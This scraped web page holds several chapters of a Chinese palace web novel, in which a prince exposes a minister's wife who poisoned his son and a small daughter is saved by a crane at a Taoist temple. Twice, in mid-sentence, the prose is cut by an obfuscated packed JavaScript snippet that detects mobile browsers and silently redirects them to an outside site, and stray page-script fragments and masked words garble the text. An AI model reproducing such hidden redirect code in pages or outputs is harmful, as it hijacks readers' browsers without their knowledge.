若当真被他这样一番处置,自己必死无疑不说,家人都会被连累,恐怕从此便永无翻身之日。不,是从此就成了过街之鼠,再没脸面活在这世上了,这跟诛了九族有何区别? 萧二毫不容情,拖着人已经走到了门口。 周嬷嬷彻底崩溃,大喊着:”我招!我全招!别送我去!“ 萧二这才把她又拎回到萧元珩面前,往地上重重一扔。 周嬷嬷被他摔得七荤八素,头上的钗环都掉了下来,披头散发,涕泪横流:“老奴,老奴是赵尚书的嫡妻林氏身边的。“ 萧元珩眉头微皱:“工部尚书赵衡,林襄月夫妇?他们为何要对我儿下毒?“ “是是!“周嬷嬷心知事到如今,已然无路可走,只能从实招认。 “那隆昌镖局,表面上是林夫人娘家哥哥的产业,其实真正的东家,实际是,是林氏和赵尚书。借由镖局出面,夫人在很多地方,都开了商铺和买卖。” “夫人她……她早就眼红王府商行的生意了。所以,命老奴在镖局中寻个稳妥的老人儿,一直盯着商行的动静。直到,直到发现了周大海送回家中的家书和银票。” “夫人觉得这是个可趁之机,于是就,就吩咐人接走了周大海的媳妇跟孩子。” “如今人在何处?有几人看管?”萧元珩马上打断了她。 周大海猛地抬起头来,感激地望向他。 “就在南郊,平桥镇,张家庄的井边巷里,最靠里头的那家便是,只有两个嬷嬷守在那里,并没旁的人看着。“ “萧二,派几个人,去把人接回来,将那两个负责看管的嬷嬷也带回来。“ “是!“萧二转身出去安排。 “多谢王爷!多谢王爷!王爷大恩,小人粉身难报!“周大海扑通一下跪下了,不停地磕头,自己的妻儿,终于保住了。 萧元珩并未动容,指了指周嬷嬷:“你,接着讲。“ “夫人本来打算,让周大海就范,命他将账本偷偷拿出来,摸清王府商行的底,就能…就能处处抢先一步,断了商行的财路,将商行的主顾们都接手过来。“ “怎知大少爷是个经商奇才,怎样都占不到丝毫的便宜,反倒事事被他牵制,生意每况愈下。夫人她 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萧二放开了她,周嬷嬷这次是真的不敢再有丝毫隐瞒了:“夫人之所以要杀大少爷,是因为,因为赵尚书挪用了去年修缮漕河堤坝的官银去填补了自家生意的亏空。“ “本想着很快就能将王府商行的生意挤垮,可…可谁成想!王府商行在大少爷的经营下,非但没被挤垮,反而…反而生意越发红火,还,还抢走了自家的很多大主顾!“ “眼看着这窟窿越捅越大,就要瞒不住了,夫人彻底慌了!这才…这才起了杀心,吩咐将**交给周大海,让他毒杀了大少爷。“ “夫人担心,若大少爷暴毙,周大海被官府捉拿查案,搞不好受不住刑罚招出些什么,所以才,才寻了这种**,想让大少爷看起来是,是重病而亡。“ 周嬷嬷趴在地上磕头如捣蒜:“老奴知道的就这些了,真的已经全都说了!请王爷明鉴!“ 萧元珩依旧没有放过她:“尚书府外的事情,你既然都知道如此清楚,那他府内的事情你一定也知道。接着讲。” 周嬷嬷猛地直起身子,如同看见了阎王一般眼中全是惊恐。 第49章 老爷爷,你会画画吗 她咬了咬牙,把心一横:“王爷明察秋毫,老奴可以将府内的事情也全说出来,但老奴有一请求,还请王爷允准。” “讲。“ “老奴说出一切,性命必然不保,请王爷莫要再追究老奴的家人,让他们,让他们,从这件祸事里脱身,离开京城,去别处安家立命。“ 萧元珩点了点头:“本王准了。你一人作恶,便一人承担去吧。”“ 周嬷嬷跪直了身子,恭恭敬敬地给他行了个大礼。 “夫人在府中掌管内宅,外面的生意又都是挂在夫人娘家的名下,因此,镖局的账册就藏在夫人寝室的墙上,那副,山水清音图后面的密盒里。“ 萧元珩点了点头,摆了摆手,在一旁书写口供的文书急忙走到周嬷嬷面前,将朱砂印色递到她面前:“按手印吧。“ 周嬷嬷抬起手,颤颤巍巍地蘸了朱砂,按在了供书上,随即闭上眼睛,已是万念俱空。 萧元珩吩咐:“将这两人单独关押,看好了,不可走失,亦不可自尽。“ “是。“萧二一手一个,亲自带着他们退了出去。 萧宁辰此时对自家爹爹已是佩服的五体投地,明白那账册至关重要,上前一步:“父亲!儿子这就去,将那账册偷出来!“ “偷?“萧元珩微微一笑:”为何要偷?为父要光明磊落地去搜!“ “你即刻持王府令牌,将京兆府尹李靖传到王府。就说本王要见他,不要与他多说一个字。赵衡身为工部尚书,久在京城,不好说他是否与京兆府尹私下有何勾连。” 父亲果然算无遗策,连这个都想到了,萧宁辰心中拜服:“是!儿子遵命!“转身离去。 萧元珩站起身回到了养正轩。 团团已经醒了,程如安正陪着她在用膳。 “爹爹!“团团看到萧元珩,马上扑了过来:”你怎么走了这么久啊!我好半天没看见你了。“ 萧元珩一把将她抱起来,坐在桌边:“爹爹去查害你大哥的坏人了啊,所以才没有陪着团团。这不,爹爹办完事就来陪你用膳啦。“ “害大哥哥的坏人?不是被大珠子找到了吗?“团团很奇怪。 “那个人啊,他只是受人指使,爹爹要把指使他的坏人也抓住,那才是真正的大坏蛋。“萧元珩夹了一块鸡肉,喂给了女儿。 团团张嘴吃了,歪着小脑袋:“害大哥哥的,不止一个坏蛋?” “团团真聪明!“ “王爷?”程如安忍不住想问清楚。 萧元珩看了看女儿,摇了摇头,程如安明白了,丈夫不想让女儿听这些事,于是也就不再追问。 “爹爹!我都睡醒了,大哥哥还没醒呢!“团团不高兴地嘟起了小嘴。 ”他会醒的。“他看向妻子:“用完膳,请郭太医再过来瞧瞧辰儿罢。“ “好。“一家三口用完了晚膳,走进内室,萧宁远依旧紧闭双目,丝毫未动,但脸色红润,胸口微微起伏,像是睡着了一般。 萧宁珣也来了:“父亲,母亲,大哥他还没醒吗?“ 程如安一脸愁容地摇了摇头,虽然郭太医说毒已清,但只要儿子没醒,她的心就依旧紧紧地提着,放不下来。 “见过王爷,王妃。“郭太医进来行礼。 “郭老,烦请再给远儿看看。“ “是。”郭太医急忙上前,诊治了一番:”王妃不必担心,大少爷只是疲惫,会醒过来的。“ 萧宁辰大步走了进来:“父亲,京兆府尹李大人已在院外候着了,周大海的家人也接回来了。“ 程如安诧异地抬起了头,京兆府尹来做什么? 萧元珩面沉如水:“带上所有的人证物证,点齐两百侍卫,本王要亲自登门问罪这位尚书大人。” “是!儿子愿跟随父亲同去!”萧宁辰和萧宁珣异口同声。 团团抬起头:“二哥哥,三哥哥,你们要跟着爹爹去哪儿啊。” 萧元珩摸了摸女儿的小脸蛋:“爹爹要去抓害你大哥哥的坏蛋。” 团团马上精神了:“我也要去!” 萧元珩一愣,刀光剑影的,怎么能带着才五岁的小女儿去? “团团听话,在家里陪着你娘亲。” 团团一听,爹爹和哥哥们要去打坏蛋不带自己,那怎么行:“不嘛,我就要去!“ 萧元珩犯了难,求助地看向妻子。 程如安把团团搂到怀里:“团团乖啊!这个坏 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郭太医突然被点名,愣了一下随即赶紧回答她:“老夫会一些,不知小小姐想让老夫给你画些什么?“ 其他人也都被她这一句话给问懵了,画画?画什么? “太好啦!“团团蹦了起来,走到萧元珩的身边,拉起他一只大手就往外拽:”老爷爷!大哥哥要是睁开眼,你就把他画下来!我跟着爹爹去打坏蛋,回来不就能看到了嘛!“ 郭太医瞠目结舌,其他人啼笑皆非:亏她能想得出这个主意! 程如安张了张嘴,实在想不出其他的理由了,无奈地看向了丈夫。 萧元珩心里那个喜欢啊:这才是我的女儿!如此聪慧,还什么都不怕!他长臂一伸,捞起女儿,使劲亲了她的脸蛋一口,把她紧紧地搂在胸前,简直喜欢到了心坎里。 “好!爹爹带你去!不过,说好了啊,你跟着你三哥在外面等着,爹爹进去打坏蛋,抓住了坏蛋咱们一起回家!” “嗯!好!”团团满意了。 萧宁珣走上前接过了团团,萧元珩大步走出了养正轩,带着浩浩荡荡一队人马,杀向了工部尚书府。 第50章 这府中还有命案? 夜幕低垂,华灯初上。 宁王府的侍卫们直接将工部尚书府围了起来。 萧二上前扣响大门,下人将大门才打开一道缝隙,侍卫们便直接冲了进去。 此时,林襄月正在内宅里焦急地等待周嬷嬷回来禀告萧宁远的情形。 怎么还没回来?莫非……是出了什么事?不会,能出什么事!萧宁远已经吃了一个多月的**,这个时候都差不多应该咽气了。 她在屋内来回踱着步,门外响起了下人的声音:“夫人,老爷请您去一趟前厅。” “什么事?”她脚下一顿,不久前才一起用过晚膳,怎么又让自己过去? “小人不知,老爷只说,请夫人即刻前去。” “知道了。“林襄月照了照镜子,整理了一下衣裙,稳住心神,扶着一个婢女,迈出了房门。 刚走出内宅的院落,她便发现不对,很多生面孔的侍卫守在院外,看衣饰并非自己府内的家丁。 她的脚刚想缩回,萧宁辰已经站在一旁:“见过林夫人,家父宁王登门造访,请夫人移步前厅。“ 林襄月脸色大变,宁王!脚下一软,险些摔倒,还是婢女及时撑住了她:“夫人!怎么了?不舒服吗?“ 对对对,我不舒服! “这位小公子,我有些头晕,就不去给宁王请安了。“她转身就想回去,萧宁辰将承影横在她面前:”夫人,请吧。“ 承影寒光四射,林襄月一介妇人,哪里见过刀剑离自己如此之近过,顿时浑身一抖:“呃……好,好,我这就去,这就去。“ 只得再度转身,脚步踉跄地往前厅走去。 萧宁辰收起承影,给萧二使了个眼色,让他在后面跟随押送,不可给她丝毫可趁之机。 萧二点了点头,快步跟了过去。 萧宁辰带着两个侍卫,转身走进了内宅。 前厅,萧元珩一身衮龙袍,坐于上首,工部尚书赵衡和京兆府尹李靖坐在他左右两侧,地上跪了一片:周大海,徐师傅,周嬷嬷,看守周大海家人的两个嬷嬷,全都在。 桌上还放着那个黑色的瓷瓶。 林襄月刚走进去,见到这情形,直接软倒在地。 她一脸惊慌地望向自己的丈夫,赵衡脸色铁青,怒目而视:“**!” “竟背着我做出如此恶行!你自己不要命,还要牵连我和孩子们不成!” 这句话犹如晴天霹雳,令林襄月清醒过来,是啊,宁王已经知道了一切,只有自己全都认下来,尚书府才有可能从此事里脱身。 否则,自己的儿子,他可刚进了国子监,前途大好啊!若这件事情牵连到他,那将来的仕途和官声,便要毁于一旦了。 她跪倒在地,满脸泪水:“老爷!是我利欲熏心,一时糊涂了!”说完便冲着萧元珩磕了个响头:“王爷!都是臣妇一个人的错!与我夫君和孩子无关,请王爷治罪!” 萧元珩面无表情:“你认得倒快。” 林襄月不停磕头:“请王爷高抬贵手!莫要牵连旁人!” 萧元珩一言不发,任由她磕头磕的额头都渗出了鲜血。 萧宁辰捧着一个盒子走了进来,放在了父亲身旁的桌上。 林襄月认出了那盒子,顿时哑然,连磕头求饶的力气都没有了。 萧元珩打开一看,里面全是账簿,直接掀翻全部倒在了桌上,随手拿了一本,翻了几页,微微一笑,递给了京兆府尹李靖。 李靖连忙接了过去,仔细翻看。 赵衡死死地瞪着那些账簿,眼中全是震惊和愤怒,不明白自家府中的隐秘,如何就全被外人知道了去。 “这!王爷,”李靖放下账簿,拱手行礼,“此案已涉及贪墨官银,京兆府不敢擅专,如何了断,请王爷明示。” 赵衡再也坐不住了,心知大势已去,再无分辨推卸的余地,长叹一声,跪倒在地。 萧元珩一脸正色:“李大人,此案如今人赃并获,铁证如山!赵家所犯之罪,罄竹难书!” “其一,戕害皇族!以**杀害我儿,意图令其毙命。” “其二,贪墨国帑!赵衡身为工部尚书,竟敢挪用修缮河堤之官银以充私囊,致使河防隐患,视百姓性命如草芥!” “其三,纵容妻族,倚仗官势,经营镖局,**结!” “此案确已非京兆府一衙可断。即刻将人犯、证物,移交大理寺!李大人,你亲自押送 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侍卫们早已用火把照亮了整个花园,萧元珩定睛看去,那假山并不高,连成一片,女儿手指的正是其中的一块石头。 看起来与旁边的山石并无不同,布满了青苔。 萧宁珣解释道:“父亲,儿子本想带着团团在花园里随便走走,来到这里时,团团说,这块石头很奇怪,跟其他的石头都不一样,想要把它推开,看看藏了什么东西。“ “儿子见她推不动,就帮了一把。没想到,里面竟露出了一具白骨,儿子怕吓到她,就又将其推了回去。” “父亲请看。”萧宁珣说完便向刚才一样去推那石头。 石头被缓缓挪动,偏移了原来的位置,同时,“咔哒……” 传来了一声机括轻响,萧宁珣站起退到一旁。 石头随即缓缓向后滑开,“轰隆隆……”一阵沉闷的响声过后,那看似浑然一体的假山石壁,竟应声向内旋开。 露出了一个处于地下的密室,室内不大,更像是一个被打开的棺椁。 浓重的土腥气和某种难以言喻的腐朽气味,从里面飘了出来。 第51章 去看道长爷爷! 萧元珩捂住了团团的小鼻子,团团皱了皱鼻头,抬起小手,也捂住了爹爹的鼻子。 萧元珩笑了:“乖孩子!” 萧宁辰从侍卫手中拿过一个火把,往里面照去。 只见密室之中,静静地躺着一具已经化成了白骨的女尸。 之所以是女尸,是因为,骨头虽已全部白化,但衣裙饰物尚且都在。 李靖皱了皱眉:“赵大人,这是你的府中,此人是谁?” 赵衡走上前只看了一眼,便已认了出来:“若梅?她怎么会在这里?” 他回头看向林襄月:“你不是告诉我,若梅家中长辈急病,她回乡探亲去了?她迟迟未归,我派人去她家查问,你又说恐是路上遇到了匪人……” 他双目圆睁,眼中全是怒火:“是你!竟然是你杀了她,还把她藏在了这里?” 萧元珩听到这里,已猜出了大概,他不愿女儿再听到什么污言秽语,将她交给萧宁珣,抬起下巴向门外一抬。 萧宁珣会意,急忙抱着妹妹向外走去。 团团冲着他伸着小手:“爹爹!“ “乖,这里气味不好,你先去,爹爹这就来。“ “哦!“团团这才老老实实地在三哥的怀里坐稳了随着他向外走去。 林襄月此时已面如白纸,却毫无惧色:“对!是我!这个**把你迷得神魂颠倒,我怎能容她!我若不下手,难道还等她生**种,与我儿相争?” “你!”赵衡怒不可遏地冲向她,一把便掐住了她的脖子:“你这个**!害了若梅,还胆大包天去害宁王之子!” “若不是你胆大妄为!我岂会落到如今这步田地!”他使尽了全力,只想把眼前的女人活活掐死。 好几个侍卫们冲上来,半天才将两人分开。 萧元珩心里惦记着闺女,无心看尚书府的恩怨情仇:“李大人,京城命案是你管辖,此事,便由你权权处置。萧二,你带着二十人留下协助李大人,本王回府了。” “是!”李靖和萧二躬身行礼。 萧元珩大步往外走去,团团呢?又跑哪儿去了? 刚走出没多远,就看到团团正蹲在地上捡起了什么东西,开心地放进了自己的小绣囊中。 萧元珩微微一笑:“走!团团!咱们回家!” 团团扑了过来:“爹爹!那个大大的坏蛋,打完了吗?” 萧元珩把她抱在怀里,示意一旁的萧宁珣跟上:“打完啦!欺负咱们家人的坏蛋,爹爹一个都不会放过。“ “爹爹真好!“团团把小脸埋进他的脖颈:”我好困啊,爹爹。“打了个小哈欠。 “那就睡!就在爹爹怀里睡。“ “嗯。“团团闭上了双眼。 萧元珩紧紧地抱着女儿,大步走出了工部尚书的府邸。 翌日一早,团团睁开眼睛,一骨碌爬了起来:“娘亲!” “来啦!来啦!”程如安听到女儿叫自己,三步并作两步走了进来:“团团醒了?’ “大哥哥呢?他醒了吗?“团团始终都挂念着,还没看到大哥哥睁眼呢! 程如安怔了一下:“还没有,大哥哥还在睡,一直都没有醒来。” “还没醒啊,我去看看他!” “好,别急,娘亲给你把小衣服穿好,咱们先用早膳,然后娘亲陪你一起去看大哥哥。” “好。” 很快,母女二人便一同来到了养正轩。 萧宁远依旧沉睡,面容非常安详,只是仍未苏醒。 团团趴在床边,摸了摸他的大手:“大哥哥,我都睡醒了,你怎么还在睡啊。” 程如安赶紧安慰她:“郭太医今早給你大哥哥诊过脉了,说你大哥哥急着赶回家,路上累坏了,恐怕还要再睡几天才会醒,好团团,别担心了。” 团团点了点头,把脸凑了过去,蹭了蹭萧宁远的手:“大哥哥,你快些醒吧,醒过来陪我玩,我有大猫咪了,也带你去摸它,好不好?” 程如安又心酸又无奈,这孩子,对自己的几个哥哥是真好。 “团团想大猫了?让三哥带你去看看它好不好?” 团团抬起头,想了想:“不了,我想等大哥哥醒过来,我们一起去看。” 程如安想了想,有心带女儿出去走一走,不必总守在这里干等着:“那娘亲带你去玄穹观吧,咱们一起去给你大哥哥烧香祈福,求神仙**保佑他快点儿醒,好不好?” “玄穹观是什么?” “玄穹观啊,是京城里最大的道观,风景很好,那里的观主是一位德高望重的道长。这京城里的人啊,求签问事,都 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程如安微笑道:“多谢小师傅,今日玄清**可在观中?” 知客连忙回答:“就在正殿呢。王妃请随我来。“ 程如安点了点头,嘱咐儿子:“我先进去拜见道长,你带着团团到处看看,一会儿来正殿找我。“ “是!母亲请放心。“ 程如安跟着知客走了。 团团仰起头看着大门,满脸困惑,怎么这么大啊,以前明明很小的,什么时候变这么大了?“ “我道是谁呢,原来是宁王府刚从乡下接回来的嘉佑郡主。怎么,来求三清**保佑你,长公主能一直那般看重你?“一个明显隐含怒气的少女声音传了过来。 团团扭头看过去,只见一个锦衣华服的黄衣少女,后面跟着一个身穿蓝色锦袍的少年,和一个下巴尖尖,一身粉红衣裙的女孩,正向着自己这边缓缓走来。 身后竟乌泱泱跟着几十个下人,阵仗惊人。 那个粉红衣裙的少女开口:“文萱姐姐,这命数啊,是天定的,那出生就被送走的人啊,终是福薄的。这世上又有几人,能像姐姐您一般,天生就是长公主殿下的侄女呢!“ 第52章 谢谢你啊,大鸟! 萧宁珣俯身将团团抱起,脸色沉了下来:“霍文萱!你不要仗着从小在长公主殿下身边长大,就想欺负我妹妹!“ 霍文萱嘴角一撇。 “还有你!吕倩茹!我妹妹如今是嘉佑郡主,你什么身份?轮得到你来说三道四!“ 身穿蓝色锦袍的少年立刻反唇相讥:“萧宁珣!你又是什么身份!敢同文萱小姐这样讲话?我妹妹哪句话说错了?难道她不是从乡下接回来的?“ 团团搂着哥哥的脖子轻声问:“三哥哥,他们是谁啊?“ 萧宁珣低声告诉她:“穿黄衣裳的叫霍文萱,是驸马家的人,长公主殿下的侄女,从小在长公主身边长大。那两人是兄妹,吕铮和吕倩茹,整日跟在霍文萱身后,是她的小跟班。“ 长公主的侄女?皇姑姑家的人?团团有些困惑,她为什么见到自己就生气呢?脸都气歪了。 说话间,三人已走到了他们面前,几个人互相瞪视,谁也不让着谁。 吕铮打量着萧宁珣:“怎么?又想仗着自己有兄长护着,再打我一顿?今日可只有你一个,没那么便宜了!“ 团团一听眼前这位被自家哥哥揍过,马上来了兴致:“三哥哥!你打过他啊!为什么呢?“ 萧宁珣唇边露出笑意:“小时候的事了,当时他见到街上人家店铺外的小狗,就脚欠地去踢,二哥不让他欺负小狗,他还不听,所以我就和二哥一起揍了他一顿。” 团团拍着小手:“打得好!打得好!欺负狗狗的人就该揍!” 吕铮瞪了团团一眼,脸涨得通红:“那只狗挡了我的路!我凭什么不能踢它!要你们兄弟俩多管闲事!“ 萧宁珣冷笑一声:“哦?那是人家的看门狗,用绳子栓在门外的,你是多招人嫌,它才会不拦别人,单单跑去挡你的路?“ “你!“吕铮仍然嘴硬,为自己的挨打找理由:”那还不是因为你们有两个人!欺负我一个!不过,你们也算遭了报应了。“ 突然,他反应了过来:“咦,你嘴皮子何时这么利落了?以前在人前可不这样,一句整话都说不出来。“ 吕倩茹眼神一闪:“前几天恍惚听人说过,萧宁珣能开口讲话了。今日一见,果真如此,不但能讲话,还会颠倒黑白了。不过,萧宁辰现在还扶着人走路呢吧!“ 萧宁珣笑了笑:“你们孤陋寡闻了,我二哥的腿已经好了,吕铮,你最好小心点儿,他的脾气可不如我好,武功又高,不比小时候了。让他知道你欺负团团,小心他再揍你一顿!” 霍文萱突然插嘴道:“当真?你们都好了?“ 萧宁珣微笑着看了妹妹一眼:“那都是因为,有了团团这个小福星啊!“ 听到哥哥夸自己,团团开心地抬起小脸蛋,在他的脸上蹭了一下。 霍文萱看着团团,脸色阴沉,小福星!哼!婶母长公主也是这样说她的。 一个乡下野丫头!居然能跟我平起平坐喊婶母皇姑姑?简直可笑!婶母的身边只能有我一个掌上明珠!我才是婶母唯一心头肉! 母亲说过,我霍家唯一的依仗唯有婶母一人,绝不能让她分走一分一毫婶母的宠爱! 萧宁珣用眼角的余光留意着霍文萱,直觉这位娇生惯养的大小姐对妹妹充满了敌意,不想再与他们纠缠:“走,团团,哥哥带你去找母亲。“ 说完,抱着团团就走进了观中。 霍文萱哼了一声:“咱们也该进去敬香祈福了。“ 她走在最前,吕铮和吕倩茹一左一右的把她护在中间,下人们跟在后面,一群人随后也都向正殿走去。 玄穹观内,古木参天,清幽寂静。 一株冠盖如云的千年古松在正殿外巍然而立,树冠高处,隐约可见一精巧鹤巢,两只羽翼雪白、姿态优雅的仙鹤正卧于其间休憩。 松下设有石桌石凳,苔痕斑驳,雅致宁静。 萧宁珣把团团放在石凳旁:“团团,累不累?坐一会儿吧,母亲就在里面,咱们在这里等她出来。“ 霍文萱抢前几步,来到二人身边,脸上挤出一丝亲热的笑意,伸出手,像是要为团团拂去肩上灰尘:“嘉佑郡主这身衣裳真是好看,怎么这里落了灰呢?“ 萧宁珣诧异地看向她,明明不喜欢妹妹,这又是干嘛? 他却没有看到,霍文萱低垂的眼底,正滑过一抹阴狠。 她的手微微一偏,暗中用力,想将团团推向旁边湿滑的石凳:石头这么硬,但愿能磕死你! 就在她的指尖即将触碰到团团肩膀的刹那, 一阵山风呼啸而过,吹得树上松针簌簌作响。 只听头顶传来一声细微的“咔嚓”声,一截尺许长的枯枝自高处的鹤巢旁被风折断,直直地朝着团团的头顶坠落。 “团团小心!”程如安惊呼出声。 刚巧玄清道长和程如安正往外走到正殿门口,目睹了这一幕。 霍文萱抬头一看,收回了自己的手,往后退了几步,唇角噙笑,真是老天有眼,砸死她更好,省得脏了自己的手。 萧宁珣则正注视着霍文萱,待发觉她神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380425|184125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色不对,再抬起头看到时已经来不及做出任何反应了。 电光火石之间,树上正休憩的一只仙鹤蓦然发出一声清越嘹亮的长鸣,雪翅倏地展开,身形如一道白色闪电般疾冲下来! 就在那枯枝离团团的头顶不足半尺之际,仙鹤长颈一探,喙如金钩,精准无比地一口衔住了那截枯枝! “吁——”程如安抚了抚胸口:“祖宗保佑!” 随即扭头,看向身边的玄清道长:“这仙鹤竟如此通灵性!果然不愧是久在观中啊!” 玄清道长盯着团团,目光闪烁。 萧宁珣心中一阵后怕,一把将团团抱了起来:“没事儿吧团团?吓死哥哥了。” “我很好啊!三哥哥,别怕别怕。”团团学着娘亲安慰自己时的模样,轻轻摸了摸他的头顶。 其他众人见状,不禁低声议论了起来。 “这小女娃还真是运气好,那么大一截树枝子从高处掉下来!这要是砸到头上,肯定非死即伤啊!居然被一只仙鹤给救了!“ “是啊!简直闻所未闻!“ “难怪刚才那位公子说她是小福星呢!“ “你不知道吗?长公主殿下也这样说她呢!还恩准她喊皇姑姑呢!“ “是吗?难怪能得长公主的青睐,还真是个小福星!“ 霍文萱听着这些窃窃私语,脸沉了下来。 吕倩茹一直盯着她的脸色,一看便知她心中已然极为不快,连忙回头喝止:“都闭嘴!“ 下人们赶忙住了嘴,个个噤若寒蝉。 团团安慰完了哥哥,仰起小脑袋,乌溜溜的大眼睛里毫无惧色,反而兴奋地举起了小手,对着仙鹤不停挥舞:“谢谢你呀,大鸟!” 仙鹤嘴中此时还衔着那截枯枝,正在空中盘旋,听到团团的声音后,像是回应她一般,再次发出一声长鸣,低飞到众人的头顶处,长喙突然一松。 那截枯枝,连同它喙上沾着的一点泥水,不偏不倚,啪嗒一声,尽数落在了霍文萱梳得一丝不苟的发髻和她那身价值不菲的缕金杏黄缎裙上。 枯枝随即滚落在地上,几点泥污从她的发髻上滴滴答答落在月白色的衣领上向外晕开,格外刺眼。 霍文萱只觉得先是头上一沉,再是颈间一凉。 她下意识地抬手一摸,整个人都僵住了,脸上的血色瞬间褪得干干净净,随即又因满心的羞愤涨得通红。 “啊——!”一声尖锐到变调的尖叫划破了道观的宁静。 “我的头发!我的衣裳!这该死的畜生!!” 第53章 不是旁人,是家人 程如安皱起了眉头,长公主殿下的侄女,如此失态,那是丢了长公主的脸啊。 她转头对玄清道长道:“劳烦观主了,请腾出一间静室,给她更衣净手吧。” 玄清道长点了点头,吩咐听到霍文萱尖叫而**过来的小道士们:“送他们去后院,寻一间静室给她。” “是!”小道士连忙上前:“诸位请随我来。” 吕倩茹扶着霍文萱,跟着他急忙向后院走去,吕铮是男子,不方便跟过去,只能在外面等候她们出来。 程如安冲儿子招手,萧宁珣走到她面前,面露羞愧:“母亲!是我没护好妹妹,险些让她出了事,请母亲责罚。” 团团一把搂住他的脖子:“娘亲!三哥哥很好,不要罚他!” 程如安微微一笑:“娘亲不会的,来,团团,下来,这是玄清**,这间玄穹观的观主,给道长行礼。” 团团仰起头,只看到玄清**的胡须随风飘着,看不到脸:“道长爷爷!抱!你的胡子怎么长这么长了啊!我找到了爹娘,你跟我回家去住好不好?” 玄清**被她叫得心里一颤,低头看她,这小娃娃见过贫道? 一大一小互相对视了片刻。 团团使劲张着两只小胳膊:“道长爷爷!你以前最喜欢抱我的啊!我现在捡来的东西都放在家里一间大大的屋子里!不会再往你这里藏啦!你不用怕了哦!” 程如安和萧宁珣听得一头雾水:团团何时来过玄穹观?还叫观主道长爷爷? 玄清**把团团抱了起来,团团坐得高了,这才看清楚:“咦,你不是道长爷爷!道长爷爷的这里,”她伸出小手,指了指自己的右边嘴角的上方:“有一个黑黑的点点!” 玄清**微微一笑:“小郡主见过与贫道相似之人?” 团团歪着小脑袋想了想,点了点头,有些失望,原来,这个道长爷爷不是以前的道长爷爷啊。 程如安笑了:“原来是小女认错了,来,别让观主抱着了,娘亲领你进去,给大哥哥祈福。” 团团从玄清**的怀里滑下来,拉住母亲的手,跟着她走进了正殿之中,萧宁珣跟在后面。 三人来到法相庄严的三清**像前,虔诚地敬香,祈福,祝祷萧宁远能早日苏醒。 待三人站起身,玄清**先是唱了声道号:“无量天尊。” 随即目光温和地看向团团:“灵鹤通慧,感知天真,方才为你衔去枯枝,乃是一段善缘。” 话锋随即微微一转:“然世间万物,生灭有法,因果自循。鹤衔枯枝,是缘起,亦是劫消,莫非前定。” 他蹲下身,使自己的视线能与团团齐平:“小善信,你灵台澄澈,身负异禀,本是造化所钟。“ “但你要明白,世人皆各有其命数轨迹,犹如星斗各行其道,互有辉光,却不应轻易交轨。若强行以己之力,干预他人因果命数,非但原有轨迹尽改,亦会反噬自身。” 程如安和萧宁珣听得心头都是一紧,看向团团,若有所思。 团团看了他片刻,摇了摇头:“道长爷爷,你说的话,我听不懂捏!“突然她咯咯地笑了,伸出小手,摸向玄清道人的胡须:“道长爷爷,你的胡子好长好软啊!” 玄清**任由她捋着自己的胡子玩:“贫道的意思是,小施主遇到旁人有难时,莫要出手相助。那是他们自己的缘法,你不能插手。” 团团玩着他的胡子,清清楚楚地说了一句:“那不是旁人啊!道长爷爷,那是我家里的人。祖祖,爹爹,哥哥们都好了,娘亲才不会掉眼泪啊!” 程如安的眼泪刷的一下就落了下来,她情不自禁地俯身抱起了女儿,在她的脸上使劲亲了一口:“好孩子!娘亲的好女儿!” 团团的小手还拽着玄清道长的胡子,她这样一抱一站,玄清**被自己的胡子带着,也急忙站起身来。 团团大笑:“哈哈哈……道长爷爷!你好可爱哦!娘亲!你怎又哭了?不哭啊,大哥哥会好的。” 萧宁珣一脸动容地看着妹妹,眼神中全是宠溺和骄傲。 玄清**静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380426|184125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立在原地,看着那小小的人儿眼中不容置疑的赤诚和坚定,“家人”二字从她嘴里说出来,重于千钧。 他终究没有再继续劝说,深邃的眼底掠过一丝叹息:“赤子之心,诚可贵也。但非有所愿,皆可得偿。” “王妃娘娘,贫道告退。“说完,便转身而去。 程如安和萧宁珣望着他的背影,心中因他刚才的话而被掀起的担忧,与那浓得化不开的亲情交织在一起,百感交集,复杂万分。 程如安犹豫了片刻,把女儿放下:“珣儿,我再去跟玄清**说几句话,你带着她去外面走走,我去去就回。” 萧宁珣明白母亲心中的不安,因为自己也一样,点了点头:“好,我们就在这附近,等您回来。”程如安转身便向玄清**消失的方向走去。 萧宁珣领着妹妹在观中四处闲逛,来到了一处轩台前。 轩台上的栏杆上,系满了来敬香的人绑在上面的祈愿铜铃,连成一片,颇为壮观,微风拂过,成百上千只铃铛随风轻舞,发出一阵“叮咚”碎响,甚是好听。 团团立刻被这景象吸引,大眼睛睁得圆圆的,小手指着:“三哥哥,你听!真好听!” “嘉佑郡主的好运是用完了吗?还需跑到这儿来绑祈愿玲?“ 两人转身看去,正是霍文萱。 她已重新梳妆更衣,但脸上的神色铁青,瞪着他们,怒气冲冲毫不遮掩。 吕铮和吕倩茹一左一右站在她身侧,脸上都挂着不善的冷笑。 他们刚从后院的静室中出来,不想在此地与兄妹二人狭路相逢。 “什么小福星!不过只是一时的狗屎运罢了!我就不相信你永远都那么走运!“霍文萱看见团团,满心的嫉恨几乎就要喷出来,再顾不得什么文雅端庄了。 吕倩茹接过话头:“就是!用这种虚无缥缈的东西迷惑旁人,简直就是其心可诛!也不看看自己的身份,够不够跟文宣姐姐争宠!“ 一句话说到了霍文萱心中的痛处,不禁赞赏地看了吕倩茹一眼。 第54章 